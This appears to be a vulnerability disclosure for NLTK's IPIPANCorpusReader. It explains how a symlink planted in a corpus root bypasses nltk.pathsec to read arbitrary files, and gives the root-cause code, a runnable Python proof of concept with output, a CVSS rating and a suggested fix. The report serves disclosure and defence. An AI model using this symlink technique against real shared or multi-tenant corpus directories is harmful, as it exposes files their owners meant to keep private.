NLTK: Symlink-based arbitrary file read in IPIPANCorpusReader, bypasses nltk.pathsec entirely

Summary

IPIPANCorpusReader (nltk/corpus/reader/ipipan.py) exposes public methods, channels(), domains(), categories(), and fileids(channels=...), that accept a caller supplied fileids list and read a file via a completely unprotected builtin open() call, with no nltk.pathsec involvement at all. A symlink placed inside the corpus root, with a name containing no separators or .., passes NLTK's existing traversal checks and is opened directly, reading a file from anywhere on the filesystem the process can access.

Root cause

All four methods route through _get_tag():

def _get_tag(self, f, tag):
    tags = []
    with open(f) as infile:   # builtin open(), no pathsec involvement
        header = infile.read()
    ...

f arrives via _list_header_files() / _list_morph_files_by(), both of which call:

f.replace("morph.xml", "header.xml")

on the result of self.abspath(...) or self.abspaths(...). FileSystemPathPointer subclasses str, so .replace() returns a plain Python string, silently discarding the PathPointer wrapper. That plain string is handed straight to builtin open().

This is a more severe variant of the same CWE-59 class already fixed elsewhere in this codebase (CorpusReader.open(), NKJPCorpusReader.add_root(), and the recent FramenetCorpusReader fix): those route file access through nltk.pathsec.validate_path(), at minimum the global, non-scoped check, before opening. Here, converting the PathPointer to a plain string before calling open() skips pathsec completely, not just the corpus-root-scoped check, so the symlink target does not even need to land under a registered nltk.data.path root.

Plain literal ../ traversal in the fileid is still blocked by FileSystemPathPointer.join(), so this is specifically the symlink variant, not a regression of the older, simpler traversal class.

Proof of concept

Constructed the normal, documented way, fileids as a regex over file paths, so the reader auto-discovers whatever .xml files exist in its root with no special knowledge of the planted symlink.

import os
import tempfile

from nltk.corpus.reader.ipipan import IPIPANCorpusReader

root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "ipipan")
os.makedirs(corpus_root)

with open(os.path.join(corpus_root, "real_morph.xml"), "w") as f:
    f.write("<channel>legit</channel>")

secret_dir = os.path.join(root, "outside_ipipan_root")
os.makedirs(secret_dir)
secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
    f.write("<channel>TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT</channel>")

os.symlink(secret_path, os.path.join(corpus_root, "evil_link.xml"))

reader = IPIPANCorpusReader(corpus_root, r".*\.xml")
print("Auto-discovered fileids:", sorted(reader.fileids()))

result = reader.channels(fileids=["evil_link.xml"])
print(result)

Actual output when run against current develop:

Auto-discovered fileids: ['evil_link.xml', 'real_morph.xml']
['TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT']

That content was read from secret_path, a file entirely outside corpus_root. No exception raised anywhere. The planted symlink even surfaces naturally in the reader's own fileids() listing, exactly as a real file would.

Verified separately that literal ../ traversal in the fileid is still rejected (ValueError: Traversal blocked), confirming this is specifically the symlink gap, not a broader regression.

Why this is in scope

• No malicious file for a victim to open, no special user interaction. Just a tampered or shared corpus directory (SECURITY.md names "shared environments... multi-tenant pipelines" as the project's own stated threat model) plus a completely normal API call.
• Core corpus-reader code, reached through plain import nltk and documented, programmatic usage (words(), sents(), channels(), etc.), not a demo or GUI tool.
• Same reader category, and same CWE-59 mechanism, already treated as CVE-worthy twice in this codebase for FramenetCorpusReader and NKJPCorpusReader.
• Not a bypass of a claimed fix. ipipan.py has never had security hardening applied, and has no dedicated test coverage at all.

CVSS v3.1

• AV:L, AC:L: exploitation is local filesystem symlink placement, then immediate and deterministic once triggered.
• PR:L: the attacker needs some pre-existing ability to plant a symlink somewhere reachable, not zero privilege, but not elevated either.
• UI:N: fires during routine, automated corpus processing, no separate victim action.
• S:U: stays within the same process's existing privileges.
• C:H, I:N, A:N: arbitrary file read only, no write, no crash.

Suggested fix

Route _get_tag() through nltk.pathsec.validate_path() with the corpus root as required_root, or through CorpusReader.open(), instead of converting the PathPointer to a plain string and calling builtin open() directly. The same fix pattern already applied to FramenetCorpusReader and NKJPCorpusReader applies directly here.